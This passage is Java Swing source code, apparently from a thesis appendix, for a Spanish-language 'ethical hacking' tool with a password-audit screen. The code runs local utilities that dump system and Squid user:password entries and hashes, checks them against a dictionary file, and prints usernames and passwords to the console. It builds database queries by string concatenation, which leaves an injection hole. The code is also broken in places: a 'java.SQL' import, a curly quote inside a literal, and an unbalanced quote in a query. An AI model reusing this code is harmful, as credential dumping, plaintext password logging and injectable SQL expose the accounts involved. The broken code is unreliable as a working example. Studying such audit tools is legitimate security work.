text_alto.setText(""); text_medio.setText(""); text_bajo.setText(""); text_dias.setText(""); } } public static void main(String args[]) { java.awt.EventQueue.invokeLater(new Runnable() { public void run() { new parametros_análisis(ip_final).setVisible(true); } }); } static String valida_alto=""; static String valida_medio=""; static String valida_bajo=""; static String valida_fecha=""; static String ip_final=""; static boolean flag_alto = false; static boolean flag_medio = false; static boolean flag_bajo = false; static boolean flag_fecha = false; static boolean fleg = false; static int c=0; static int alto=0; static int medio=0; static int bajo=0; private javax.swing.JButton boton_aceptar; private javax.swing.JButton boton_limpiar; private javax.swing.JButton boton_salir; private javax.swing.JLabel jLabel1; private javax.swing.JLabel jLabel11; private javax.swing.JLabel jLabel13; private javax.swing.JLabel jLabel14; private javax.swing.JLabel jLabel15; private javax.swing.JLabel jLabel16; private javax.swing.JLabel jLabel17; private javax.swing.JLabel jLabel19; private javax.swing.JLabel jLabel2; private javax.swing.JLabel jLabel22; private javax.swing.JLabel jLabel23; private javax.swing.JLabel jLabel24; private javax.swing.JTextField text_alto; private javax.swing.JTextField text_bajo; private javax.swing.JTextField text_dias; private javax.swing.JTextField text_medio; }
256
Análisis.java
import java.io.*; import java.net.*; import java.io.*; import java.io.PrintStream; import java.SQL.*; import java.lang.*; public class análisis extends javax.swing.JFrame { public análisis(String ip_final,String valida_alto,String valida_medio,String valida_bajo,String valida_fecha) { ip_final_1=ip_final; a = valida_alto; b_c = valida_medio; c= valida_bajo; aux_fecha=valida_fecha; valida_alto_1=new Integer(valida_alto).intValue(); valida_medio_1=new Integer(valida_medio).intValue(); valida_bajo_1=new Integer(valida_bajo).intValue(); valida_fecha_1=new Integer(valida_fecha).intValue(); initComponents(); } private void initComponents() { botonsalir1 = new javax.swing.JButton(); jScrollPane3 = new javax.swing.JScrollPane(); tabla_resultados_passwd = new javax.swing.JTable(); boton_guardar_log1 = new javax.swing.JButton(); jLabel1 = new javax.swing.JLabel(); jScrollPane4 = new javax.swing.JScrollPane(); text_analiza_passwd = new javax.swing.JEditorPane(); jLabel2 = new javax.swing.JLabel(); boton_resultados = new javax.swing.JButton(); jMenuBar1 = new javax.swing.JMenuBar(); scan = new javax.swing.JMenu(); scan_ip_puertos = new javax.swing.JMenuItem(); hackeo = new javax.swing.JMenu(); hacking_etico = new javax.swing.JMenuItem(); análisis = new javax.swing.JMenu(); análisis_claves = new javax.swing.JMenuItem(); reportes = new javax.swing.JMenu(); reportes_estadisticos = new javax.swing.JMenuItem(); estadisticas = new javax.swing.JMenu(); estadisticas_re = new javax.swing.JMenuItem(); ayuda = new javax.swing.JMenu(); ayudita = new javax.swing.JMenuItem(); acerca_de = new javax.swing.JMenu(); acerca_de_menu = new javax.swing.JMenuItem(); salir = new javax.swing.JMenu();
257
salida = new javax.swing.JMenuItem(); setDefaultCloseOperation(javax.swing.WindowConstants.DISPOSE_ON_CLOSE); setTitle("Pantalla de análisis de passwords"); botonsalir1.setFont(new java.awt.Font("Arial", 0, 10)); botonsalir1.setForeground(new java.awt.Color(0, 102, 102)); botonsalir1.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/ayuda.GIF")); botonsalir1.setText("Salir"); botonsalir1.setToolTipText("Salir"); botonsalir1.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { botonsalir1ActionPerformed(evt); } }); tabla_resultados_passwd.setFont(new java.awt.Font("Arial", 0, 11)); tabla_resultados_passwd.setModel(new javax.swing.table.DefaultTableModel( new Object [][] { }, new String [] { "Usuario", "Password ", "Tipo usuario", "Análisis", "% seguridad", "Estado" } ) { Class[] types = new Class [] { java.lang.String.class, java.lang.String.class, java.lang.String.class, java.lang.String.class, java.lang.String.class, java.lang.String.class }; boolean[] canEdit = new boolean [] { false, false, false, false, false, false }; public Class getColumnClass(int columnIndex) { return types [columnIndex]; } public boolean isCellEditable(int rowIndex, int columnIndex) { return canEdit [columnIndex]; } }); jScrollPane3.setViewportView(tabla_resultados_passwd); boton_guardar_log1.setFont(new java.awt.Font("Arial", 0, 10)); boton_guardar_log1.setForeground(new java.awt.Color(0, 102, 102)); boton_guardar_log1.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/scan.gif")); boton_guardar_log1.setText("Guardar "); boton_guardar_log1.setToolTipText("Log"); boton_guardar_log1.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { boton_guardar_log1ActionPerformed(evt); } });
258
jLabel1.setFont(new java.awt.Font("Arial", 1, 16)); jLabel1.setForeground(new java.awt.Color(0, 102, 102)); jLabel1.setText("Resumen del análisis"); jScrollPane4.setViewportView(text_analiza_passwd); jLabel2.setFont(new java.awt.Font("Arial", 1, 16)); jLabel2.setForeground(new java.awt.Color(0, 102, 102)); jLabel2.setText("Resultados del análisis"); boton_resultados.setFont(new java.awt.Font("Arial", 0, 10)); boton_resultados.setForeground(new java.awt.Color(0, 102, 102)); boton_resultados.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/scan.gif")); boton_resultados.setText("Resultados"); boton_resultados.setToolTipText("Log"); boton_resultados.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { boton_resultadosActionPerformed(evt); } }); scan.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/scan.gif")); scan.setText("Scan"); scan.setToolTipText("Con esta opci on empieza el escaneo de maquinas"); scan.setFont(new java.awt.Font("Arial", 0, 10)); scan_ip_puertos.setFont(new java.awt.Font("Arial", 0, 10)); scan_ip_puertos.setIcon(new javax.swing.ImageIcon("C:\\hacking_etico\\imagenes\\scan.gif")); scan_ip_puertos.setText("Scan del sistema"); scan_ip_puertos.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { scan_ip_puertosActionPerformed(evt); } }); scan.add(scan_ip_puertos); jMenuBar1.add(scan); hackeo.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/hackeo.gif")); hackeo.setText("Hackeo"); hackeo.setToolTipText("Con esta opcion empieza la diversi\u00f3n"); hackeo.setEnabled(false); hackeo.setFont(new java.awt.Font("Arial", 0, 10)); hacking_etico.setFont(new java.awt.Font("Arial", 0, 10)); hacking_etico.setIcon(new javax.swing.ImageIcon("C:\\hacking_etico\\imagenes\\hackeo.gif")); hacking_etico.setText("Hackeo a lo salvaje"); hacking_etico.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { hacking_eticoActionPerformed(evt); }
259
}); hackeo.add(hacking_etico); jMenuBar1.add(hackeo); análisis.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/análisis.gif")); análisis.setText("An\u00e1lisis"); análisis.setToolTipText("Análisis de seguridad del sistema"); análisis.setEnabled(false); análisis.setFont(new java.awt.Font("Arial", 0, 10)); análisis_claves.setFont(new java.awt.Font("Arial", 0, 10)); análisis_claves.setIcon(new javax.swing.ImageIcon("C:\\hacking_etico\\imagenes\\análisis.gif")); análisis_claves.setText("Analiisis de datos"); análisis_claves.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { análisis_clavesActionPerformed(evt); } }); análisis.add(análisis_claves); jMenuBar1.add(análisis); reportes.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/reportes.gif")); reportes.setText("Reportes"); reportes.setToolTipText("Con esta opcion se pueden visualizar los diferentes reportes"); reportes.setFont(new java.awt.Font("Arial", 0, 10)); reportes_estadisticos.setFont(new java.awt.Font("Arial", 0, 10)); reportes_estadisticos.setIcon(new javax.swing.ImageIcon("C:\\hacking_etico\\imagenes\\start.gif")); reportes_estadisticos.setText("Reportes del sistema"); reportes_estadisticos.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { reportes_estadisticosActionPerformed(evt); } }); reportes.add(reportes_estadisticos); jMenuBar1.add(reportes); estadisticas.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/estadisticas.gif")); estadisticas.setText("Estad\u00edstica"); estadisticas.setToolTipText("Esta opcion nos muestra las estadisticas del sistema"); estadisticas.setFont(new java.awt.Font("Arial", 0, 10)); estadisticas_re.setFont(new java.awt.Font("Arial", 0, 10)); estadisticas_re.setIcon(new javax.swing.ImageIcon("C:\\hacking_etico\\imagenes\\estadisticas.gif")); estadisticas_re.setText("Estadisticas del sistema"); estadisticas_re.addActionListener(new java.awt.event.ActionListener() {
260
public void actionPerformed(java.awt.event.ActionEvent evt) { estadisticas_reActionPerformed(evt); } }); estadisticas.add(estadisticas_re); jMenuBar1.add(estadisticas); ayuda.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/ayuda.GIF")); ayuda.setText("Ayuda"); ayuda.setToolTipText("Esta opcion ofrece ayuda en linea"); ayuda.setFont(new java.awt.Font("Arial", 0, 10)); ayudita.setFont(new java.awt.Font("Arial", 0, 10)); ayudita.setIcon(new javax.swing.ImageIcon("C:\\hacking_etico\\imagenes\\ayuda.GIF")); ayudita.setText("Ayuda en linea"); ayuda.add(ayudita); jMenuBar1.add(ayuda); acerca_de.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/acerca_de.GIF")); acerca_de.setText("Acerca..."); acerca_de.setFont(new java.awt.Font("Arial", 0, 10)); acerca_de_menu.setFont(new java.awt.Font("Arial", 0, 10)); acerca_de_menu.setIcon(new javax.swing.ImageIcon("C:\\hacking_etico\\imagenes\\acerca_de.GIF")); acerca_de_menu.setText("Creditos del programa"); acerca_de.add(acerca_de_menu); jMenuBar1.add(acerca_de); salir.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/salir.GIF")); salir.setText("Salir"); salir.setToolTipText("Salir del sistema"); salir.setFont(new java.awt.Font("Arial", 0, 10)); salida.setFont(new java.awt.Font("Arial", 0, 10)); salida.setIcon(new javax.swing.ImageIcon("C:\\hacking_etico\\imagenes\\salir.GIF")); salida.setText("Salir del sistema"); salir.add(salida); jMenuBar1.add(salir); setJMenuBar(jMenuBar1); org.jdesktop.layout.GroupLayout layout = new org.jdesktop.layout.GroupLayout(getContentPane()); getContentPane().setLayout(layout); layout.setHorizontalGroup( layout.createParallelGroup(org.jdesktop.layout.GroupLayout.LEADING) .add(org.jdesktop.layout.GroupLayout.TRAILING, layout.createSequentialGroup() .addContainerGap(217, Short.MAX_VALUE) .add(jLabel1, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, 177,
261
org.jdesktop.layout.GroupLayout.PREFERRED_SIZE) .add(236, 236, 236)) .add(layout.createSequentialGroup() .add(208, 208, 208) .add(jLabel2) .addContainerGap(235, Short.MAX_VALUE)) .add(layout.createSequentialGroup() .add(30, 30, 30) .add(layout.createParallelGroup(org.jdesktop.layout.GroupLayout.LEADING) .add(jScrollPane4, org.jdesktop.layout.GroupLayout.DEFAULT_SIZE, 588, Short.MAX_VALUE) .add(layout.createSequentialGroup() .add(boton_resultados) .add(120, 120, 120) .add(boton_guardar_log1, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, 114, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE) .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED, 124, Short.MAX_VALUE) .add(botonsalir1, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, 117, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE)) .add(jScrollPane3, org.jdesktop.layout.GroupLayout.DEFAULT_SIZE, 588, Short.MAX_VALUE)) .addContainerGap()) ); layout.setVerticalGroup( layout.createParallelGroup(org.jdesktop.layout.GroupLayout.LEADING) .add(layout.createSequentialGroup() .addContainerGap() .add(jLabel2) .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED) .add(jScrollPane4, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, 177, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE) .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED) .add(jLabel1) .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED) .add(jScrollPane3, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, 134, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE) .add(21, 21, 21) .add(layout.createParallelGroup(org.jdesktop.layout.GroupLayout.BASELINE) .add(boton_resultados, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, 40, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE) .add(botonsalir1, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, 41, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE) .add(boton_guardar_log1, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, 40,
262
org.jdesktop.layout.GroupLayout.PREFERRED_SIZE)) .addContainerGap(13, Short.MAX_VALUE)) ); pack(); }// </editor-fold> private void estadisticas_reActionPerformed(java.awt.event.ActionEvent evt) { estadistica as = new estadistica(); as.show(); } private void boton_resultadosActionPerformed(java.awt.event.ActionEvent evt) { for (int i = 0; i < 99; i++) { for(int j=0;j<5;j++){ tabla_resultados_passwd.setValueAt("",i,j); } } text_analiza_passwd.setText(""); cadena_total_análisis=""; cadena_total_analizar=""; cadena_total_datos=""; q=0; aux_muestra=""; auxiliar_resultados=""; contador_alfabeto=0; contador_minusculas=0; contador_números=0; contador_mayusculas=0; contador_especiales=0; longitud_password=0; validador =0; secuencia=0; pos1=0; pos11=0; anio_bd=0; mes_bd=0; dia_bd=0; dia_s=0; dia=""; dia_sist=""; fecha_bd=""; anio=""; mes=""; b=0; anio_total=0; mes_total=0; cont_punt=0; a_analizar=""; usuario=""; u_usuario="";
263
anio_sistema=""; mes_sistema=""; conclusion_análisis=""; aax=""; anio_s=0; mes_s=0; aux_análisis=""; aux_seguridad=""; aux_expirado=""; aux_resultado=""; cusuarios=0; cpasswords=0; cservicios=0; canálisis=0; cseguridad=0; cexpirados=0; cresultado=0; q=0; a_contar=0; aux_squid=""; cont_punt_squid=0; diccionario= false; fecha_coincide=false; fecha_coincide_1=false; band_fechita=false; band_sist = false; band_bd = false; for (int i = 0; i < 99; i++) { for(int j=0;j<3;j++){ tabla_resultados_passwd.setValueAt("",i,j); } } try { if (ejecuta_análisis()){ Msg a=new Msg("AVISO","/root/hacking_etico/imagenes/escudo_u.jpg","Espere un momento",”Realizando el reporte de análisis","Puede demorar varios minutos..."); boton_guardar_log1.setEnabled(true); }else{ Msg a=new Msg("ERROR","/root/hacking_etico/imagenes/escudo_u.JPG","no se pudo ejecutar la funcion de análisis de contraseña","consulte con la ayuda del sistema","Gracias"); boton_guardar_log1.setEnabled(false); } } catch (Exception e) {
264
e.printStackTrace(); Msg a=new Msg("AVISO","/root/hacking_etico/imagenes/escudo_u.jpg","no se pudo ejecutar la funcion de análisis de contrase�as","consulte con la ayuda del sistema","gracias"); } text_analiza_passwd.setText(cadena_total_datos); System.out.println(cadena_total_analizar); for(int eg=0; eg < usuarios.length;eg++) { tabla_resultados_passwd.setValueAt(usuarios[eg],eg,0); } for(int eg1=0; eg1 < passwords.length;eg1++) { tabla_resultados_passwd.setValueAt(passwords[eg1],eg1,1); } for(int eg2=0; eg2 < servicios.length;eg2++) { tabla_resultados_passwd.setValueAt(servicios[eg2],eg2,2); } for(int eg3=0; eg3 < análisis_passwords.length;eg3++) { tabla_resultados_passwd.setValueAt(análisis_passwords[eg3],eg3,3); } for(int eg4=0; eg4 < seguridad.length;eg4++) { tabla_resultados_passwd.setValueAt(seguridad[eg4],eg4,4); } for(int eg5=0; eg5 < expirados.length;eg5++) { tabla_resultados_passwd.setValueAt(expirados[eg5],eg5,5); } } public static boolean ejecuta_análisis() throws Exception { Process p_squid = Runtime.getRuntime().exec("/root/hacking_etico/utilitarios/show-squid"); is_squid = p_squid.getInputStream(); br_squid = new BufferedReader (new InputStreamReader (is_squid)); aux_squid = br_squid.readLine(); while (aux_squid!=null ) //inicio while aux_squid { System.out.println (aux_squid); cadena_total_datos = cadena_total_datos + '\n' + aux_squid; if ( !( aux_squid.endsWith(" left") || aux_squid.equals("") ) ) //inicio if aux_squid { for (int ke_squid =0; ke_squid< aux_squid.length();ke_squid++)//inicio
265
for ke_squid { if (aux_squid.charAt(ke_squid)==':')//inicio if empatar claves { usuarios[cusuarios]=aux_squid.substring(0,ke_squid); passwords[cpasswords]=aux_squid.substring(ke_squid+1); servicios[cservicios]="squid"; cusuarios++; cpasswords++; cservicios++; }//fin if empatar claves }// fin for ke_squid }//fin if ends with aux_squid = br_squid.readLine(); }// end while axu_squid p_squid.waitFor(); Process p_muestra = Runtime.getRuntime().exec("/root/hacking_etico/utilitarios/show-passwd"); is_muestra = p_muestra.getInputStream(); br_muestra = new BufferedReader (new InputStreamReader (is_muestra)); aux_muestra = br_muestra.readLine(); while (aux_muestra!=null ) { System.out.println (aux_muestra); cadena_total_datos = cadena_total_datos + '\n' + aux_muestra; if (aux_muestra.endsWith("bash") || aux_muestra.endsWith("nologin")|| aux_muestra.endsWith(":")) // inicio if aux_muestra.end with(bash).. { int cache=0; for (int ke =0; ke< aux_muestra.length();ke++) { if (aux_muestra.charAt(ke)==':' && cache==0)//inicio if empatar claves { usuarios[cusuarios]=aux_muestra.substring(0,ke); cache++; cont_punt=ke; cusuarios++; }else{ if(aux_muestra.charAt(ke)==':' && cache ==1){ passwords[cpasswords]=aux_muestra.substring(cont_punt+1,ke); cache++; cpasswords++; } }//fin if empatar claves }// fin for if(aux_muestra.endsWith("bash"))//inicio if tt { servicios[cservicios]="sistema con privilegios";
266
cservicios++; }// fin if tt if(aux_muestra.endsWith("nologin")) { servicios[cservicios]="sistema sin privilegios"; cservicios++; } if(aux_muestra.endsWith(":")) { servicios[cservicios]="samba"; cservicios++; } }// fin if aux_muestra.end with(bash).. if (aux_muestra.startsWith("$1$")) { for (int ke =0; ke< aux_muestra.length();ke++) { if (aux_muestra.charAt(ke)==':') { cadena_total_analizar = cadena_total_analizar + aux_muestra.substring(ke+1) + '\n'; } } } aux_muestra = br_muestra.readLine(); }// fin while cadena_total_datos = cadena_total_datos + '\n' + "Entonces,los passwords sometidos al análisis serán--> " + '\n' +cadena_total_analizar; for(int i = 0; i < usuarios.length && usuarios[i]!= null; i++) { System.out.print("Usuario : " + usuarios[i] +'\n'); } for(int j = 0; j < passwords.length && passwords[j]!=null; j++) { System.out.print("Password : " + passwords[j] + '\n'); } for(int e = 0; e < servicios.length && servicios[e]!=null; e++) { System.out.print("Servicio : " + servicios[e] + '\n'); } for (int i= 0; i < passwords.length ;i++) { if (passwords[i]!=null) { a_analizar= passwords[i]; u_usuario = usuarios[i]; a_contar = a_analizar.length();
267
try{ //is = new BufferedReader(new FileReader ("/root/hacking_etico/utilitarios/diccionario_completo")); is = new BufferedReader(new FileReader ("/root/hacking_etico/utilitarios/dic")); while (is.ready() && diccionario==false) { aax =(String)is.readLine(); System.out.println("recuperado de archivo:--> "+aax); if (a_analizar.equals(aax)) { diccionario=true; break; } } is.close(); } catch (IOException e) { Msg a=new Msg("AVISO","/root/hacking_etico/imagenes/escudo_u.jpg","no se pudo leer el archivo de diccionarios de palabras","consulte con la ayuda del sistema","gracias..."); System.out.println ("Error al ler el archivo"); } try{ Connection connection = ACCESS.ObtenerConexion(); Statement statement = connection.createStatement(); String SQL = "select * from reporte where direccion = '192.168.100.74'"; ResultSet resultset = statement.executeQuery(SQL); for(resultset=statement.executeQuery(SQL);resultset.next();) // que conicida el password y el usuario { System.out.println('\n'+"----pasamos y se ejecuto la consulta---"+'\n'); System.out.println("PASSWORD A ANALIZAR--> "+a_analizar); System.out.println("PERTENCE AL USUARIO--> "+u_usuario); System.out.println("PASSWORD DE LA BASE--> " + resultset.getString("password")); System.out.println("USUARIO DE LA BASE--> " + resultset.getString("usuario")); System.out.println("LA IP A ANALIZAR ES:----->"+ ip_final_1); if (a_analizar.equals(resultset.getString("password") ) && u_usuario.equals(resultset.getString("usuario") )) // inicio if compara usuario y passwd { System.out.println('\n'+"---pasamos y si hubo coincidencia---"+'\n'); try{ Connection connection1 = ACCESS.ObtenerConexion();
268
Statement statement1 = connection1.createStatement(); String SQL1 = "select fecha from reporte where usuario = "+u_usuario+"' and password = '"+a_analizar+"'"; ResultSet resultset1 = statement1.executeQuery(SQL1); while (resultset1.next())// inicio while resultset fechas { Fecha time = new Fecha(); String fecha_sistema = time.getFecha(); System.out.println("la fecha de hoy es---> "+fecha_sistema); band_sist = false; int long_fecha_sistema=fecha_sistema.length(); String fecha_bd = resultset.getString("fecha"); int long_fecha_bd = fecha_bd.length(); band_bd = false; System.out.println("la fecha de la base es--> "+fecha_bd); for (int u=0;u<long_fecha_bd;u++) { if (fecha_bd.charAt(u)=='/' && band_bd == false) { dia= fecha_bd.substring(0,u); // recuperar los dias System.out.println("los dias de base de datos son"+ dia); dia_bd = new Integer(dia).intValue(); pos1= u;band_bd=true; }else{ if (fecha_bd.charAt(u)== '/' && band_bd ==true) { anio = fecha_bd.substring(u+1); System.out.println("los años base datos son"+ anio); anio_bd = new Integer(anio).intValue(); // conversion mes = fecha_bd.substring(pos1+1,u); System.out.println("los meses de Bd son"+ mes); mes_bd = new Integer(mes).intValue(); } }// fin if else }//fin for descompone fecha de la base for (int u1=0;u1<long_fecha_sistema;u1++) { if (fecha_sistema.charAt(u1)=='/' && band_sist == false) { dia_sist= fecha_sistema.substring(0,u1); //recuperar dias System.out.println("Los dias del sistema son:"+ dia_sist); dia_s = new Integer(dia_sist).intValue(); pos11= u1;band_sist=true; }else{ if (fecha_sistema.charAt(u1)== '/' && band_sist ==true) { //int pos2= u; anio_sistema = fecha_sistema.substring(u1+1);
269
System.out.println("el año del sistema es: "+ anio_sistema); anio_s = new Integer(anio_sistema).intValue(); // buscar la conversion mes_sistema = fecha_sistema.substring(pos11+1,u1); System.out.println("los meses de la fecha del sistema es:-- "+ mes_sistema); mes_s = new Integer(mes_sistema).intValue(); } }// fin if else }//fin for int valor_1 = (anio_bd*365)+(mes_bd*30)+(dia_bd); int valor_2 = (anio_s*365)+(mes_s*30)+(dia_s); int valor_total_1 = valor_2 - valor_1; System.out.println("valor base de d-->"+ String.valueOf(valor_1)+" valor sistema-->"+String.valueOf(valor_2)+" y el total de la resta.."+String.valueOf(valor_total_1) ); if (valor_total_1 > valida_fecha_1) { System.out.println("valor parametro---- "+String.valueOf(valida_fecha_1)); fecha_coincide_1=true; System.out.println("ESTA EXPIRADO"); } }// fin while resultset fechas connection1.commit(); statement1.close(); }catch (Exception e) { System.out.println("Error al consultar los datos no hay datos" + e); }// fin try consultar usuarios }else{ fecha_coincide = false; System.out.println("LA FECHA ES VALIDA"); }// fin if compara usuario y password }//fin for connection.commit(); statement.close(); }catch (Exception e) { System.out.println("Error al consultar los datos " + e); }// fin priemr try if(fecha_coincide_1==true) { expirados[cexpirados]="expirado"; cexpirados++; }else{
270
expirados[cexpirados]="vigente"; cexpirados++; } fecha_coincide_1=false; for ( int j=0;j<a_contar;j++){ char al= a_analizar.charAt(j); switch (al){ case 'a': contador_alfabeto++; contador_minusculas++; longitud_password++; evalua_secuencia(j,a_analizar,al); break; case 'b': contador_alfabeto++; contador_minusculas++; longitud_password++; evalua_secuencia(j,a_analizar,al); break; case 'c': contador_alfabeto++; contador_minusculas++; longitud_password++; evalua_secuencia(j,a_analizar,al); break; case 'd': contador_alfabeto++; contador_minusculas++; longitud_password++; evalua_secuencia(j,a_analizar,al); break; case 'e': contador_alfabeto++; contador_minusculas++; longitud_password++; evalua_secuencia(j,a_analizar,al); break; case 'f': contador_alfabeto++; contador_minusculas++; longitud_password++; evalua_secuencia(j,a_analizar,al); break; case 'g': contador_alfabeto++; contador_minusculas++; longitud_password++; evalua_secuencia(j,a_analizar,al);
271
break; case 'h': contador_alfabeto++; contador_minusculas++; longitud_password++; evalua_secuencia(j,a_analizar,al); break; case 'i': contador_alfabeto++; contador_minusculas++; longitud_password++; evalua_secuencia(j,a_analizar,al); break; case 'j': contador_alfabeto++; contador_minusculas++; longitud_password++; evalua_secuencia(j,a_analizar,al); break; case 'k': contador_alfabeto++; contador_minusculas++; longitud_password++; evalua_secuencia(j,a_analizar,al); break; case 'l': contador_alfabeto++; contador_minusculas++; longitud_password++; evalua_secuencia(j,a_analizar,al); break; case 'm': contador_alfabeto++; contador_minusculas++; longitud_password++; evalua_secuencia(j,a_analizar,al); break; case 'n': contador_alfabeto++; contador_minusculas++; longitud_password++; evalua_secuencia(j,a_analizar,al); break; case 'ñ': contador_alfabeto++; contador_minusculas++; longitud_password++;
272
evalua_secuencia(j,a_analizar,al); break; case 'o': contador_alfabeto++; contador_minusculas++; longitud_password++; evalua_secuencia(j,a_analizar,al); break; case 'p': contador_alfabeto++; contador_minusculas++; longitud_password++; evalua_secuencia(j,a_analizar,al); break; case 'q': contador_alfabeto++; contador_minusculas++; longitud_password++; evalua_secuencia(j,a_analizar,al); break; case 'r': contador_alfabeto++; contador_minusculas++; longitud_password++; evalua_secuencia(j,a_analizar,al); break; case 's': contador_alfabeto++; contador_minusculas++; longitud_password++; evalua_secuencia(j,a_analizar,al); break; case 't': contador_alfabeto++; contador_minusculas++; longitud_password++; evalua_secuencia(j,a_analizar,al); break; case 'u': contador_alfabeto++; contador_minusculas++; longitud_password++; evalua_secuencia(j,a_analizar,al); break; case 'v': contador_alfabeto++; contador_minusculas++; longitud_password++;
273
evalua_secuencia(j,a_analizar,al); break; case 'w': contador_alfabeto++; contador_minusculas++; longitud_password++; evalua_secuencia(j,a_analizar,al); break; case 'x': contador_alfabeto++; contador_minusculas++; longitud_password++; evalua_secuencia(j,a_analizar,al); break; case 'y': contador_alfabeto++; contador_minusculas++; longitud_password++; evalua_secuencia(j,a_analizar,al); break; case 'z': contador_alfabeto++; contador_minusculas++; longitud_password++; evalua_secuencia(j,a_analizar,al); break; case 'A': contador_alfabeto++; contador_mayusculas++; longitud_password++; evalua_secuencia(j,a_analizar,al); break; case 'B': contador_alfabeto++; contador_mayusculas++; longitud_password++; evalua_secuencia(j,a_analizar,al); break; case 'C': contador_alfabeto++; contador_mayusculas++; longitud_password++; evalua_secuencia(j,a_analizar,al); break; case 'D': contador_alfabeto++; contador_mayusculas++; longitud_password++;
274
evalua_secuencia(j,a_analizar,al); break; case 'E': contador_alfabeto++; contador_mayusculas++; longitud_password++; evalua_secuencia(j,a_analizar,al); break; case 'F': contador_alfabeto++; contador_mayusculas++; longitud_password++; evalua_secuencia(j,a_analizar,al); break; case 'G': contador_alfabeto++; contador_mayusculas++; longitud_password++; evalua_secuencia(j,a_analizar,al); break; case 'H': contador_alfabeto++; contador_mayusculas++; longitud_password++; evalua_secuencia(j,a_analizar,al); break; case 'I': contador_alfabeto++; contador_mayusculas++; longitud_password++; evalua_secuencia(j,a_analizar,al); break; case 'J': contador_alfabeto++; contador_mayusculas++; longitud_password++; evalua_secuencia(j,a_analizar,al); break; case 'K': contador_alfabeto++; contador_mayusculas++; longitud_password++; evalua_secuencia(j,a_analizar,al); break; case 'L': contador_alfabeto++; contador_mayusculas++; longitud_password++;
275
evalua_secuencia(j,a_analizar,al); break; case 'M': contador_alfabeto++; contador_mayusculas++; longitud_password++; evalua_secuencia(j,a_analizar,al); break; case 'N': contador_alfabeto++; contador_mayusculas++; longitud_password++; evalua_secuencia(j,a_analizar,al); break; case 'Ñ': contador_alfabeto++; contador_mayusculas++; longitud_password++; evalua_secuencia(j,a_analizar,al); break; case 'O': contador_alfabeto++; contador_mayusculas++; longitud_password++; evalua_secuencia(j,a_analizar,al); break; case 'P': contador_alfabeto++; contador_mayusculas++; longitud_password++; evalua_secuencia(j,a_analizar,al); break; case 'Q': contador_alfabeto++; contador_mayusculas++; longitud_password++; evalua_secuencia(j,a_analizar,al); break; case 'R': contador_alfabeto++; contador_mayusculas++; longitud_password++; evalua_secuencia(j,a_analizar,al); break; case 'S': contador_alfabeto++; contador_mayusculas++; longitud_password++;
276
evalua_secuencia(j,a_analizar,al); break; case 'T': contador_alfabeto++; contador_mayusculas++; longitud_password++; evalua_secuencia(j,a_analizar,al); break; case 'U': contador_alfabeto++; contador_mayusculas++; longitud_password++; evalua_secuencia(j,a_analizar,al); break; case 'V': contador_alfabeto++; contador_mayusculas++; longitud_password++; evalua_secuencia(j,a_analizar,al); break; case 'W': contador_alfabeto++; contador_mayusculas++; longitud_password++; evalua_secuencia(j,a_analizar,al); break; case 'X': contador_alfabeto++; contador_mayusculas++; longitud_password++; evalua_secuencia(j,a_analizar,al); break; case 'Y': contador_alfabeto++; contador_mayusculas++; longitud_password++; evalua_secuencia(j,a_analizar,al); break; case 'Z': contador_alfabeto++; contador_mayusculas++; longitud_password++; evalua_secuencia(j,a_analizar,al); break; case '0': contador_números++;
277
longitud_password++; evalua_secuencia(j,a_analizar,al); break; case '1': contador_números++; longitud_password++; evalua_secuencia(j,a_analizar,al); break; case '2': contador_números++; longitud_password++; evalua_secuencia(j,a_analizar,al); break; case '3': contador_números++; longitud_password++; evalua_secuencia(j,a_analizar,al); break; case '4': contador_números++; longitud_password++; evalua_secuencia(j,a_analizar,al); break; case '5': contador_números++; longitud_password++; evalua_secuencia(j,a_analizar,al); break; case '6': contador_números++; longitud_password++; evalua_secuencia(j,a_analizar,al); break; case '7': contador_números++; longitud_password++; evalua_secuencia(j,a_analizar,al); break; case '8': contador_números++; longitud_password++; evalua_secuencia(j,a_analizar,al); break; case '9': contador_números++; longitud_password++; evalua_secuencia(j,a_analizar,al); break;
278
